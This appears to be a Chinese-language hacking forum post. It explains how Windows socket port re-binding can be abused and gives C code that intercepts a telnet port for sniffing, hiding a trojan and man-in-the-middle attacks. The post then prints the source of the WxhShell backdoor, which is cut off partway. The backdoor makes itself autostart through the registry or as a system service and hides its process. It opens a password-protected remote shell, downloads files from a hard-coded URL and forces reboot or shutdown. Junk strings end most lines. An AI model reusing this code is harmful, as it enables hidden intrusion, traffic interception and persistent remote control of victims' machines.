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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O&Q_ vY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #ok1qT9_  
$]K gs6=r  
  saddr.sin_family = AF_INET; Ol6jx%Je`  
os|8/[gT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); XYhN;U}Z  
at]=SA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >{p&_u.r-  
mk8xNpk B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }&Un8Rg"h  
G < Z)y#  
  这意味着什么?意味着可以进行如下的攻击: bO>q`%&  
trcG^uV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q{T6t;eH  
7T9m@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) MWl?pG!Y  
[ X]yj  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 IL`X}=L_  
J^8(h R  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :0x,%V74_!  
A94ZG:   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 '=K [3%U  
bhDV U(%I6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ma[%,u`  
O*xC}$OOn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u9My.u@-*%  
A(G%9'T  
  #include hJ$o+sl  
  #include !|;^  
  #include M3ihtY  
  #include    'g.9 goQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   YyEW}2  
  int main() 8+K=3=05#U  
  { _jg&}HM  
  WORD wVersionRequested; u :AKp<'  
  DWORD ret; xDU>y  
  WSADATA wsaData; lx$]f)%~  
  BOOL val; ivDmPHj{  
  SOCKADDR_IN saddr; 8+Sa$R  
  SOCKADDR_IN scaddr; ' RK .w^  
  int err; ~sj'GEhEg  
  SOCKET s; `!WtKqr%B  
  SOCKET sc; m}&cXY  
  int caddsize; GSo&$T;B6  
  HANDLE mt; l]t9*a]a  
  DWORD tid;   S`g:z b_  
  wVersionRequested = MAKEWORD( 2, 2 ); 1.*VliY  
  err = WSAStartup( wVersionRequested, &wsaData ); &<hDl<E  
  if ( err != 0 ) { (?R;u>  
  printf("error!WSAStartup failed!\n"); )@+lfIE(l  
  return -1; VWDXEa9  
  } 81Ixs Qt  
  saddr.sin_family = AF_INET; QP/%+[E.  
   /orpQUHA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u"eO&Vc  
8w1TX [b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &N4Jpa}w/%  
  saddr.sin_port = htons(23); zY_xJ"/9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "c5C0 pK0  
  { bW03m_<M<1  
  printf("error!socket failed!\n"); ,{DZvif   
  return -1; f}{ lRk  
  } *FhD%><  
  val = TRUE; !_EL{/ko  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W,<L/ZKJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4Ufx,]  
  { xS.Rpx/8  
  printf("error!setsockopt failed!\n"); '](4g/%  
  return -1; HQPb  
  } fXfBDB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }?[^q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 74f3a|vx/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 GjTj..G/  
Pf,S`U w;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VG FWF3s  
  { 8/q6vk><  
  ret=GetLastError(); |]=. ^  
  printf("error!bind failed!\n"); i T* !3  
  return -1; ]j.=zQP?'  
  } 'lmZ{a6  
  listen(s,2); DXX(qk)6  
  while(1) xW|^2k  
  { r*$$82s  
  caddsize = sizeof(scaddr); xX;@ BS  
  //接受连接请求 >JdA,i}1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >6 p <n  
  if(sc!=INVALID_SOCKET) ~9#x/EG/  
  { )gM3,gSS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); WKVoqp}  
  if(mt==NULL) ;/tZsE{  
  { Qdepzo>E  
  printf("Thread Creat Failed!\n"); /P_1vQq  
  break; dzA5l:5  
  } 5vxKkk&i4l  
  } !%w#h0(b  
  CloseHandle(mt); H<tk/\C  
  } <eWGvIEP[  
  closesocket(s); VjZ_L_U}  
  WSACleanup(); /rMxl(wD'  
  return 0; g~q+a-  
  }   ~vf&JH'!  
  DWORD WINAPI ClientThread(LPVOID lpParam) *qx<bY@F  
  { *Nfn6lVB  
  SOCKET ss = (SOCKET)lpParam; %cIF()  
  SOCKET sc; z^(6>U ?  
  unsigned char buf[4096]; ZHPsGHA  
  SOCKADDR_IN saddr; HbQvu@  
  long num; #Bo/1G=  
  DWORD val; lo}[o0X  
  DWORD ret; @3D8TPH  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e[`E-br^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   44s K2  
  saddr.sin_family = AF_INET;  ]J= S\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C):RE<X  
  saddr.sin_port = htons(23); B_f0-nKP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m>po+7"b  
  { 9ICC2%j|  
  printf("error!socket failed!\n"); fX.V+.rj  
  return -1; ]>utLi5dX  
  } ZqI.n4:9  
  val = 100; x.>E7 +  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @ mzf(Aq  
  { .3;bUJ1  
  ret = GetLastError(); @G/':N   
  return -1; $}[Tj0+:  
  } P1P P#>E-2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &&1q@m,cP  
  { Sr7+DCr  
  ret = GetLastError(); E\M{/.4 4  
  return -1; DNgQ.lV  
  } B x(+uNQ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )p.+39]{2  
  { >M` swEj  
  printf("error!socket connect failed!\n"); Kd_WN;l  
  closesocket(sc); )G(6=l*  
  closesocket(ss); ^V^In-[!y:  
  return -1; =hV-E D  
  } V/j]UK0$  
  while(1) gto@o\&=  
  { dEXHd@"H  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q:LyD!at  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~ "l a2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vP G!S{4  
  num = recv(ss,buf,4096,0); b0a'Y"oef4  
  if(num>0) -t9oL3J  
  send(sc,buf,num,0); '-jKv=D+  
  else if(num==0) %iPu51+=  
  break; B3I\=  
  num = recv(sc,buf,4096,0); 0F'75  
  if(num>0) CK e  
  send(ss,buf,num,0); ]{9oB-;,  
  else if(num==0) ^qpa[6D6x  
  break; vOYcS$,^X%  
  } B0c}5V  
  closesocket(ss); '-#6;_ i<  
  closesocket(sc); +n(H"I7cU  
  return 0 ; }?P~qJ|1  
  } t\2myR3  
c ;3bX6RD*  
YQR*?/?a  
========================================================== [5%/{W,~m  
hp(n;(OR  
下边附上一个代码,,WXhSHELL <!,q:[ee5  
,8( %J3J  
========================================================== _ED1".&#f  
(.,E6H|zI  
#include "stdafx.h" }nE#0n  
)Jx!VJ^Y  
#include <stdio.h> @ ADY?  
#include <string.h> XA])<dZ  
#include <windows.h> oWyg/{M  
#include <winsock2.h> [BhpfZNKRA  
#include <winsvc.h> RCt)qh+  
#include <urlmon.h> @"9y\1u  
T4 SByX9  
#pragma comment (lib, "Ws2_32.lib") "xdJ9Z-B  
#pragma comment (lib, "urlmon.lib") xsRMF&8L  
3w )S=4lB  
#define MAX_USER   100 // 最大客户端连接数 i:#R U^R  
#define BUF_SOCK   200 // sock buffer ilK8V4k<T)  
#define KEY_BUFF   255 // 输入 buffer :Puv8[1i  
"sFdrXJ  
#define REBOOT     0   // 重启 Coq0Kzhsab  
#define SHUTDOWN   1   // 关机 2W pe( \(  
EpGe'S  
#define DEF_PORT   5000 // 监听端口 [[D}vL8d  
:0T]p"y4  
#define REG_LEN     16   // 注册表键长度 ?HIc=  
#define SVC_LEN     80   // NT服务名长度 `n-e.{O((  
We#*.nr{3Z  
// 从dll定义API v%3)wD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;lGa.RD[a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gx[#@ (  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?l,i(I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +bm2vIh$  
h Zlajky  
// wxhshell配置信息 (p} N9n$  
struct WSCFG { ]CC= \ <  
  int ws_port;         // 监听端口 va8:QHdU  
  char ws_passstr[REG_LEN]; // 口令 .WL507*"Ce  
  int ws_autoins;       // 安装标记, 1=yes 0=no w & RpQcV  
  char ws_regname[REG_LEN]; // 注册表键名 mQ%kGqs  
  char ws_svcname[REG_LEN]; // 服务名 +:&(Ag  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NtTLvO6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =mqV&FgRo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l O, 2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j<deTK;.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" glHag"(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #Mbt%m  
!^axO  
}; l^`!:BOtR  
&s/aJgJhp  
// default Wxhshell configuration ?5mVC]W?]  
struct WSCFG wscfg={DEF_PORT, ^Hq}9OyS9  
    "xuhuanlingzhe", kq%`9,XE  
    1, 6}NvVolr  
    "Wxhshell", FA{I S0  
    "Wxhshell", oU~V0{7g  
            "WxhShell Service", L&3=5Bf9  
    "Wrsky Windows CmdShell Service", Tjs-+$P+  
    "Please Input Your Password: ", bT{P1nUu  
  1, \((>i7C  
  "http://www.wrsky.com/wxhshell.exe", ^J% w[FE  
  "Wxhshell.exe" #UND'c(5  
    }; 7 oZ-D~3  
HTqikw5X  
// 消息定义模块 ?7&VT1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A v2 _A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5RLK]=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5 (H; x74  
char *msg_ws_ext="\n\rExit."; 0jq&i#yNB  
char *msg_ws_end="\n\rQuit."; 1}jE?{V*  
char *msg_ws_boot="\n\rReboot..."; XVv7W5/q]  
char *msg_ws_poff="\n\rShutdown..."; /@#)j( eY/  
char *msg_ws_down="\n\rSave to "; ]}v`#-Px(  
rW\~sTH  
char *msg_ws_err="\n\rErr!"; #-lk=>  
char *msg_ws_ok="\n\rOK!"; [/#n+sz.A  
}Xc|Z.6  
char ExeFile[MAX_PATH]; CKBi-q FH  
int nUser = 0; M.OWw#?p:_  
HANDLE handles[MAX_USER]; 5 h{Hf]A  
int OsIsNt; LnJ7i"Q  
It_yh #s  
SERVICE_STATUS       serviceStatus; t*}<v@,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8=nm`7(]  
+^69>L2V  
// 函数声明 JAiV7v4&R  
int Install(void); G,"$Erx  
int Uninstall(void); 4|+ |L_  
int DownloadFile(char *sURL, SOCKET wsh); w@:o:yLS  
int Boot(int flag); )d.7xY7!  
void HideProc(void); -x_iqrB  
int GetOsVer(void); ))KsQJ"V  
int Wxhshell(SOCKET wsl); +$ -#V   
void TalkWithClient(void *cs); ^cAJCbp7  
int CmdShell(SOCKET sock); "   c  
int StartFromService(void); moo>~F _^  
int StartWxhshell(LPSTR lpCmdLine); mmjB1 L  
HdnSs0 /  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ow^%n(Ezh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *(k=!`4(  
j_H T  
// 数据结构和表定义 / 9;Pbxn  
SERVICE_TABLE_ENTRY DispatchTable[] = un9o~3SF<  
{ AT9SD vJ  
{wscfg.ws_svcname, NTServiceMain}, 7I44BC*R~  
{NULL, NULL} E Fv+[  
}; eqf~5/Z  
VmT5? i  
// 自我安装 ^X;>?_Bk  
int Install(void) a0LX<}   
{ "Q J-IRt &  
  char svExeFile[MAX_PATH]; '+QgZ>q"  
  HKEY key; JWdG?[$  
  strcpy(svExeFile,ExeFile); /nmfp&@  
9(PFd%  
// 如果是win9x系统,修改注册表设为自启动 k m|wB4  
if(!OsIsNt) { h n ]6he  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =lmh^**4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kg@J.   
  RegCloseKey(key); O71rLk;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T6,lk1S'=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0ND7F  
  RegCloseKey(key); {r}}X@|5  
  return 0; v}mmY>M%  
    } c]&VUWQ  
  } PJ.jgN(r  
} pxC5a i  
else { a|53E<5X  
r 1a{Y8?  
// 如果是NT以上系统,安装为系统服务 j,-7J*A~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k %rP*b*  
if (schSCManager!=0) e/3hb)#;  
{ #3$|PM7,_  
  SC_HANDLE schService = CreateService 0`thND)?O  
  ( ;Dgp !*v=  
  schSCManager, #P@r[VZ{6  
  wscfg.ws_svcname, {p\KB!Y-  
  wscfg.ws_svcdisp, f:0n-me  
  SERVICE_ALL_ACCESS, n%0vQ;Z1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [eN{Ft0x  
  SERVICE_AUTO_START, ,5?MRqCM  
  SERVICE_ERROR_NORMAL, NNdS:(  
  svExeFile, #e=^-yE  
  NULL, !58JK f  
  NULL, sg2C_]i,H  
  NULL, &ivIv[LV  
  NULL, eC39C2q\  
  NULL tSYnc7  
  ); p[GyQ2k)  
  if (schService!=0) 1mV0AE538  
  { }>:X|4]  
  CloseServiceHandle(schService); TK>}$.c%+  
  CloseServiceHandle(schSCManager); 2fk   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T{M:)}V  
  strcat(svExeFile,wscfg.ws_svcname); F&~vD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ye6O!,R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *~L]n4-  
  RegCloseKey(key); y_&XF>k91  
  return 0; X9j+$X \j  
    } =R"tnjR  
  } $gTPW,~s[  
  CloseServiceHandle(schSCManager); 5S? yj  
} 463dLEd  
} }{y$$X<:  
BSf"'0I&  
return 1; [ub\DLl  
} \nWpV7TSN  
(jG$M=q-  
// 自我卸载 J_@4J7  
int Uninstall(void) :<gk~3\  
{ GZt] 38V)g  
  HKEY key; `ahXn  
{;/o4[jlg  
if(!OsIsNt) { t_dg$KB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9="sx 8?  
  RegDeleteValue(key,wscfg.ws_regname); 6KG63`aQ  
  RegCloseKey(key); $C/Gn~k 5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y|se^dn  
  RegDeleteValue(key,wscfg.ws_regname); Hdx|k=-Q^  
  RegCloseKey(key); (ce NVo&  
  return 0; zJ`(LnV  
  } 4C cb!?  
} A'8K^,<  
} {LDb*'5Cy  
else { h_L '_*  
eV0S:mit  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {[?|RC;\Y  
if (schSCManager!=0) Biy 9jIWI  
{ &/F[kAy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qI^jwl|k  
  if (schService!=0) (^9M9+L[i  
  { ;I'/.gW;{  
  if(DeleteService(schService)!=0) { '[^2uQc  
  CloseServiceHandle(schService); Q ^rW^d  
  CloseServiceHandle(schSCManager); `.g8JC\_m  
  return 0; K;y\ &'E  
  } mN el3J3  
  CloseServiceHandle(schService); )M 0O=Cl1  
  } Z(M)2  
  CloseServiceHandle(schSCManager); ={ '($t%|T  
} UGt7iT<`8  
} !?/bK[ P,  
:nUsC+oBS  
return 1; bicL %I2h  
} Fw m:c[G  
I "2FTGA  
// 从指定url下载文件 |plo65  
int DownloadFile(char *sURL, SOCKET wsh) *Mc\7D  
{ :t^})%  
  HRESULT hr; R <\Yg3m8  
char seps[]= "/"; 9m4rNvb  
char *token; s= fKAxH  
char *file; Dys"|,F  
char myURL[MAX_PATH]; 2*YXm>|1  
char myFILE[MAX_PATH]; pNFIO t:(  
jt--w"|-r  
strcpy(myURL,sURL); -RQQ|:O$  
  token=strtok(myURL,seps); pH%c7X/[3L  
  while(token!=NULL) MA# !<b('  
  { sLp LY1X  
    file=token; rC `s;w  
  token=strtok(NULL,seps); oJT@'{;*z  
  } B [ ka@z7  
]#.&f]6l  
GetCurrentDirectory(MAX_PATH,myFILE); &X,)+ b=  
strcat(myFILE, "\\"); %iC63)(M  
strcat(myFILE, file); Gx_e\fe-/  
  send(wsh,myFILE,strlen(myFILE),0); b.*4RL  
send(wsh,"...",3,0); @ -d4kg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \#,#_  
  if(hr==S_OK) "Cj#bUw  
return 0; ix@rq#  
else RgA4@J#  
return 1; jgw'MpQm{  
]?$y}  
} N-YZ0/c  
E]?HCRa5R  
// 系统电源模块 H)aC'M^  
int Boot(int flag) -xIhN?r)  
{ uN3J)@;_  
  HANDLE hToken; 4 S9, tc&  
  TOKEN_PRIVILEGES tkp; p!QneeA`&X  
QfWu~[  
  if(OsIsNt) { GSnHxs)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v^_]W3K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PVc|y.  
    tkp.PrivilegeCount = 1; YPDsE&,J)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7d8qs%nA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S{7ik,Gdg  
if(flag==REBOOT) { 6x,=SW@4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >1pH 91c'  
  return 0; ={@ @`yP^$  
} @<yc .>  
else { :wmf{c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y6? mY!  
  return 0; SSbK[aR  
} T4Gw\Z%  
  } xWe1F2nY  
  else { vP)~j1  
if(flag==REBOOT) { Rn_W|"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p<fgUVR  
  return 0; 7"NJraQ6  
} :fKz^@mY4  
else { Fd,+(i D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q.sQ Z]ty9  
  return 0; Bp{`%86S E  
} 7 +hF;  
} YGV#.  
m&~Dj#%(w  
return 1; @mRrA#E#{  
} aa%&&  
n9fA!Wic  
// win9x进程隐藏模块 JP,(4h *  
void HideProc(void) iA{jKk=  
{ r5da/*G/O  
z/&a\`DsU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v[DbhIXU  
  if ( hKernel != NULL ) *[~o~e/YCb  
  { qq7X ",s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \ jXN*A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |-Esc|J(  
    FreeLibrary(hKernel); =*:_swd  
  } !"x7re  
#iU8hUbo  
return; ?r E]s!K  
} ig _<kj;Vd  
OPt;G,$ta  
// 获取操作系统版本 IgR"eu U  
int GetOsVer(void) {AL9o2  
{ akCo+ @  
  OSVERSIONINFO winfo; hd ;S>K/C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ck_fEF  
  GetVersionEx(&winfo); P(gVF |J?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :htq%gPex9  
  return 1; O:=|b]t  
  else J1Ki2I=  
  return 0; S O:V|Tfj  
} ^N2M/B|0  
._MAHBx+G  
// 客户端句柄模块 dGD^op,6g  
int Wxhshell(SOCKET wsl) DEQE7.]3q  
{ CL'Xip')T  
  SOCKET wsh; M$4=q((0  
  struct sockaddr_in client; ~z _](HKoS  
  DWORD myID; @?7{%j*  
3JZWhxkf[$  
  while(nUser<MAX_USER) {+ 6D-rDw  
{ oTD-+MZn  
  int nSize=sizeof(client); SM /ykk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pz35trW  
  if(wsh==INVALID_SOCKET) return 1; LQ(5D_yG.  
d O46~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |*c\6 :  
if(handles[nUser]==0) o|;eMO-  
  closesocket(wsh); =Wk/q_.  
else ^g-t#O lD?  
  nUser++; zIm_7\e  
  }  c(V=.+J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N>pmhskN?  
Jg|cvu-+  
  return 0; ~l*?D7[o  
} D_n}p8blT  
ZAX0n!db3  
// 关闭 socket w0j/\XN 2s  
void CloseIt(SOCKET wsh) yB4H3Q )  
{ p;u 1{  
closesocket(wsh); ./&zO{|0]  
nUser--; ,s><kHJ  
ExitThread(0); 'uKkl(==%  
} GKyG #Fl  
T~o{woq}g  
// 客户端请求句柄 B&i0j5L  
void TalkWithClient(void *cs) V@ _-H gg  
{ (e8G (  
]Q4PbW  
  SOCKET wsh=(SOCKET)cs; WfDX"rA  
  char pwd[SVC_LEN]; a\{1UD  
  char cmd[KEY_BUFF]; P wB g  
char chr[1]; %nmY:}um  
int i,j; "<w2v'6S  
M. )}e7  
  while (nUser < MAX_USER) { ^6a S]t  
* K,hrpYR  
if(wscfg.ws_passstr) { pFJQ7Jlx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ! FR%QGn1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6mu<&m@  
  //ZeroMemory(pwd,KEY_BUFF); )W1(tEq59  
      i=0; sCF40AoY&  
  while(i<SVC_LEN) { Zgg'9E  
 gmRT1T  
  // 设置超时 Jh43)#G-  
  fd_set FdRead; 2sqm7th  
  struct timeval TimeOut; bbNU\r5%  
  FD_ZERO(&FdRead); ]dHB}  
  FD_SET(wsh,&FdRead); ^.D}k  
  TimeOut.tv_sec=8; a;"Uz|rz  
  TimeOut.tv_usec=0; ^IVe[P'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &@% b?~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZMoJ#p(  
Gg9VS&VI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @q&|MMLt  
  pwd=chr[0]; ?L@@;tt  
  if(chr[0]==0xd || chr[0]==0xa) { WDE e$k4.  
  pwd=0; !.3R~0b  
  break; 79SqYe=&uy  
  } @n7t?9Bx  
  i++; L\}Pzxn  
    } ]am~aJ|L  
zb5N,!%r  
  // 如果是非法用户,关闭 socket Xb]=:x(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I(]BMMj  
} wqlcLIJPR  
IX<r5!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~^I\crx,U%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jow7t\wk  
OGJ=VQA  
while(1) { {[2tG U9  
}pMP!%|  
  ZeroMemory(cmd,KEY_BUFF); " F-Y^  
E &7@#'l  
      // 自动支持客户端 telnet标准    c6Lif)4  
  j=0; Q !9HA[Ly  
  while(j<KEY_BUFF) { ,Z>wbMJig  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e=t<H"&  
  cmd[j]=chr[0]; a-]hW=[  
  if(chr[0]==0xa || chr[0]==0xd) { P</s)"@  
  cmd[j]=0; _+ twq i  
  break; .Gizz</P~  
  } 5M%,N-P^  
  j++; G HD^%)T5^  
    } d/XlV]#2x\  
8zdT9y|Ig  
  // 下载文件 r^$\t0h(U8  
  if(strstr(cmd,"http://")) { 6hkkNXqkf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [N)#/ 6j  
  if(DownloadFile(cmd,wsh)) oi2J :Y4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Co@+I[,4&  
  else j2|XD Of  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E: 9o;JU  
  } % f2<U;ff  
  else { ?ork^4 $s  
cYGRy,'gH  
    switch(cmd[0]) { 2B7h9P.NB  
  &*B>P>x  
  // 帮助 u8Y~_)\MA  
  case '?': { '#v71,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m CM|&u  
    break; [2Iau1<@  
  } l8z%\p5cR  
  // 安装 6W5d7`A  
  case 'i': { n0_B(997*  
    if(Install()) Nd`HB=ShJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R0%?:! F  
    else $`|5/,M%QN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OI+E (nA  
    break; n`]l^qE  
    } 81Z4>F:  
  // 卸载 ?>sQF4 V"  
  case 'r': { Dk6?Nwy"  
    if(Uninstall()) (nLKQV 1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tG/a H%4S  
    else ?^|QiuU:n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D%-{q>F!gf  
    break; tqK=\{U  
    } D9~}5  
  // 显示 wxhshell 所在路径 OCCEL9d  
  case 'p': { sf`PV}a1  
    char svExeFile[MAX_PATH]; ;4 ,'y  
    strcpy(svExeFile,"\n\r"); tWm>j  
      strcat(svExeFile,ExeFile); J' W}7r  
        send(wsh,svExeFile,strlen(svExeFile),0); T?>E{1pS  
    break; PdT83vOCE  
    } 5O&d3;p'  
  // 重启 [FGgkd}  
  case 'b': { Y;} 2'"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q0Xoj__c!A  
    if(Boot(REBOOT)) _z q)0\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1!!\+ c2*  
    else { RU6KIg{H  
    closesocket(wsh); Ls]@icH0  
    ExitThread(0); r*chL&7  
    } dLZjB(0eO  
    break; 0h22V$  
    } QZ&4:K+{  
  // 关机 YgEM:'1f  
  case 'd': { +@0TMK,P  
